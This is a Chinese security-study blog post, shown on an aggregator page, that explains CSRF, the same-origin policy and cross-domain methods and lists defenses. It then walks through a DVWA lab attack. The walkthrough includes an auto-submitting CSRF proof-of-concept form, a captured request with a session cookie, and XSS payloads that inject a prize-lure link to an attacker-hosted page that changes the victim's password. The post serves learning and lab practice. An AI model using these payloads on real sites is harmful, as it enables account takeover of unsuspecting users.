惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Forbes - Security
Forbes - Security
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
P
Palo Alto Networks Blog
Martin Fowler
Martin Fowler
T
Threatpost
D
Docker
S
Schneier on Security
M
MIT News - Artificial intelligence
G
Google Developers Blog
L
LINUX DO - 热门话题
J
Java Code Geeks
月光博客
月光博客
博客园 - 三生石上(FineUI控件)
IT之家
IT之家
博客园 - Franky
C
Cyber Attacks, Cyber Crime and Cyber Security
K
Kaspersky official blog
Google DeepMind News
Google DeepMind News
N
News and Events Feed by Topic
V
Vulnerabilities – Threatpost
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
人人都是产品经理
人人都是产品经理
Spread Privacy
Spread Privacy
T
Tailwind CSS Blog
爱范儿
爱范儿
阮一峰的网络日志
阮一峰的网络日志
U
Unit 42
C
CERT Recently Published Vulnerability Notes
The GitHub Blog
The GitHub Blog
Simon Willison's Weblog
Simon Willison's Weblog
NISL@THU
NISL@THU
MongoDB | Blog
MongoDB | Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
H
Heimdal Security Blog
Recorded Future
Recorded Future
云风的 BLOG
云风的 BLOG
SecWiki News
SecWiki News
P
Privacy International News Feed
P
Proofpoint News Feed
O
OpenAI News
B
Blog
腾讯CDC
F
Full Disclosure
Apple Machine Learning Research
Apple Machine Learning Research
T
Tor Project blog
H
Hacker News: Front Page
Project Zero
Project Zero
Hugging Face - Blog
Hugging Face - Blog
C
Cisco Blogs
S
Security Affairs

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗 AI对话笔记-模板 网络安全行业招聘需求与技术能力分析 银狐木马技术原理分析与检测技术 SIEM-安全信息和事件管理 AI笔记 转载 专业备考⏳ 其他杂项🧶 Markdown 原生图片 知道创宇技能表 Prompt越狱手册 deepseek使用指南 清华大学 deepseek提问方法 markdown基本语法 数据湖:它们是什么?为什么您的组织需要一个? GitHub Codespaces velociraptor(迅猛龙)快速上手 学习windows快捷命令 学习常用 150 个Linux命令 软考中的一些概念 学习ssh基本使用 Linux系统换源输入法和包管理器 DC-8靶机 Metasploitable3下载与安装 信息收集方法及流程 防守之道 开发运维 免责声明 密码喷射攻击:防范攻击你需要知道的事项 密码学中的哈希解释:它的工作原理、算法和实际用途 应急响应术语 各种报错积累 漏洞挖掘思路 收藏夹 RDP和360星图使用 windows入侵排查 Linux入侵排查 Redis日志分析 Linux安全加固 windows安全加固 windows日志ID速查 中间件加固 数据库安全加固 windows系统提权 MySQL注入复盘 学习git版本控制工具的概念与命令 学习Web Shell 学习Linux命令 java环境配置 学习python基础语法特性解题笔记 学习Mysql基础知识 windows权限维持 学习网络及安全的一些术语 PHP代码审计 Linux系统提权 MSSQL注入复盘 Linux权限维持 命令执行和反序列化 逻辑漏洞 upload-labs 框架漏洞 学习PHP语法特性 XXE&SSRF 文件上传 Google Hacking XSS-lab XSS实验 学习URL请求后的通信过程 FOFA
CSRF
卷卷 · 2023-03-25 · via 卷卷

跨站请求伪造(Cross-site request forgery,CSRF)是一种攻击,它强制终端用户在当前对其进行<span data-type="text" style="color: var(--b3-font-color9);">身份验证后的Web应用程序
上执行非本意的操作<span>。CSRF攻击的着重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应

CSRF漏洞的原理

(用DVWA举例)

  1. 47.113.187.190:36974/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造。

  2. 目的:我们可以伪造请求,修改他人信息

    条件:1.对方也登陆的该网站 2.对方点击了链接触发修改信息的伪请求(二者缺一不可)

image
image

防御措施

防止这些操作出现被伪造的情况,从而导致CSRF。

  1. 验证Referer,如果Referer是其他网站的话,就可能是CSRF攻击。检测绕过:referer头留空
  2. 对敏感信息的操作增加安全的token,可以在HTTP请求中参数形式加入一个随机token,并在服务器端建立拦截器验证token。
  3. 对敏感信息的操作前增加二次验证
  4. 及时退出网站,不随意点击链接/图片。

把token放置在cookiet中,能否防护csrf

不能,csrf冒用cookie,放置在cookie中直接被利用

CSRF需不需要获取cookie

不需要,cookie是存储在浏览器内,不需要获取cookie,本质是在冒用用户cookie

CSRF与XSS的区别

  1. XSS攻击的是客户端,CSRF攻击的是服务端
  2. XSS主要是获取身份信息cookie.csrf是冒用用户身份,不获取cookie
  3. XSS是将语句插入html页面中,盗取到了用户的权限,然后实施破坏。
  4. CSRF是冒用用户身份,借用户的权限完成攻击,攻击者并没有拿到用户的权限。
  5. CSRF危害更大,防御难度比XSS高

同源策略

如果两个页面的协议端口(如果有指定)和域名都相同,则两个页面具有相同的源;是浏览器用于隔离潜在恶意文件的重要安全机制。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。

受约束对象

DOM、Cookie、第三方插件、XMLHttpRequest

不受约束对象

页面中的链接\<a href\="\">、重定向、表单action:\=””,提交是不会受到同源策略限制的。
跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的\<script\>,\<img\>,\<link\>,\<iframe\>等带src属性的标签。

非同源受到的限制

Cookie、LocalStorage、IndexDB无法读取、DOM无法获得、AJAX请求不能发送

跨域

受同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象是就需要跨域,把不同域之间请求数据的操作,称为跨域

跨域方法

document.domain跨域

若两个页面一级域名相同,只是二级域名不同,那么浏览器可以通过设置document.domain来共享Cookie

注意

1.只能在父域名与子域名之间使用
2.存在安全性问题,当一个站点被攻击后,另一个站点会引起安全漏洞
3.只适用于Cookie和iframe窗口。

JSONP跨域

利用<script>的src不受同源策略约束实现跨域获取数据。
Jsonp(JSON with Padding)是json的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

注意

1.存在安全性问题,需要网站双方商议基础token的身份验证
2.只能是GET,不能POST
3.可能被注入恶意代码,篡改页面内容,可以采用字符串过滤来规避此问题。

CORS跨域

CORS全称Cross-Origin Resource Sharing,跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的
jsonp只能get请求。CORS允许浏览器向跨域服务器发出XMLHttpRequest请求。如果

利用JavaScript无法控制HTTP头的特点,通过目标返回的HTTP头授权是否允许跨域访问。

Access-Control-Allow-Origin:a.baidu.com #b.baidu.com可以访问我的资源

Access-Control-Allow-Origin:null #谁都可以访问 有的浏览器不支持这样写

Access-Control-Allow-Origin:* #谁都可以访问

a.com想得到b.com中的内容,在b.com里面添加响应头声明允许a.com的访问
添加:Access-Control-Alow-Origin:http:/a.com然后a.com就可以用ajax获取b.com里的数据了

跨域利用

  1. 同于csrf跨站请求伪造,发送钓鱼链接,读取用户敏感数据。
  2. 跨站请求,获取cookie
  3. 请求攻击服务器的恶意js等代码

DVWA中利用XSS漏洞和csrf漏洞修改密码

  1. 登陆DVWA靶场

    目前账号密码为:admin/password

  2. 攻击者通过CSRF模块抓包

    image
    image
  3. 攻击者提取到的修改密码的包

    GET /vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
    Host: 47.113.187.190:36974
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Connection: close
    Referer: http://47.113.187.190:36974/vulnerabilities/csrf/
    Cookie: PHPSESSID=9sn4v5t9pr06kaqlmpmhetkds4; security=low
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
  4. 攻击者伪造该包

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <form action="http://47.113.187.190:51594/vulnerabilities/csrf/">
          <input type="hidden" name="password&#95;new" value="123456" />
          <input type="hidden" name="password&#95;conf" value="123456" />
          <input type="hidden" name="Change" value="Change" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
        </script>
      </body>
    </html>
    image
    image
  5. 其次我们在XSS模块注入用户触发改密码的a标签

    payload:</div><a href="http://burpsuite/show/4/mzeu3hmxur1v9r0m4mf44md8qglhej5n">点击中大奖</a><div>
    image
    image
  6. 当用户点击该链接,用户密码就会被修改

    image
    image
    image
    image
  7. 刚才是请求bp代理的服务,如果将链接放到公网,只要用户点击会被改密

    image
    image
    payload:</div><a href="http://47.113.187.190:90/dvwa_csrf+xss.html">点击中大奖</a><div>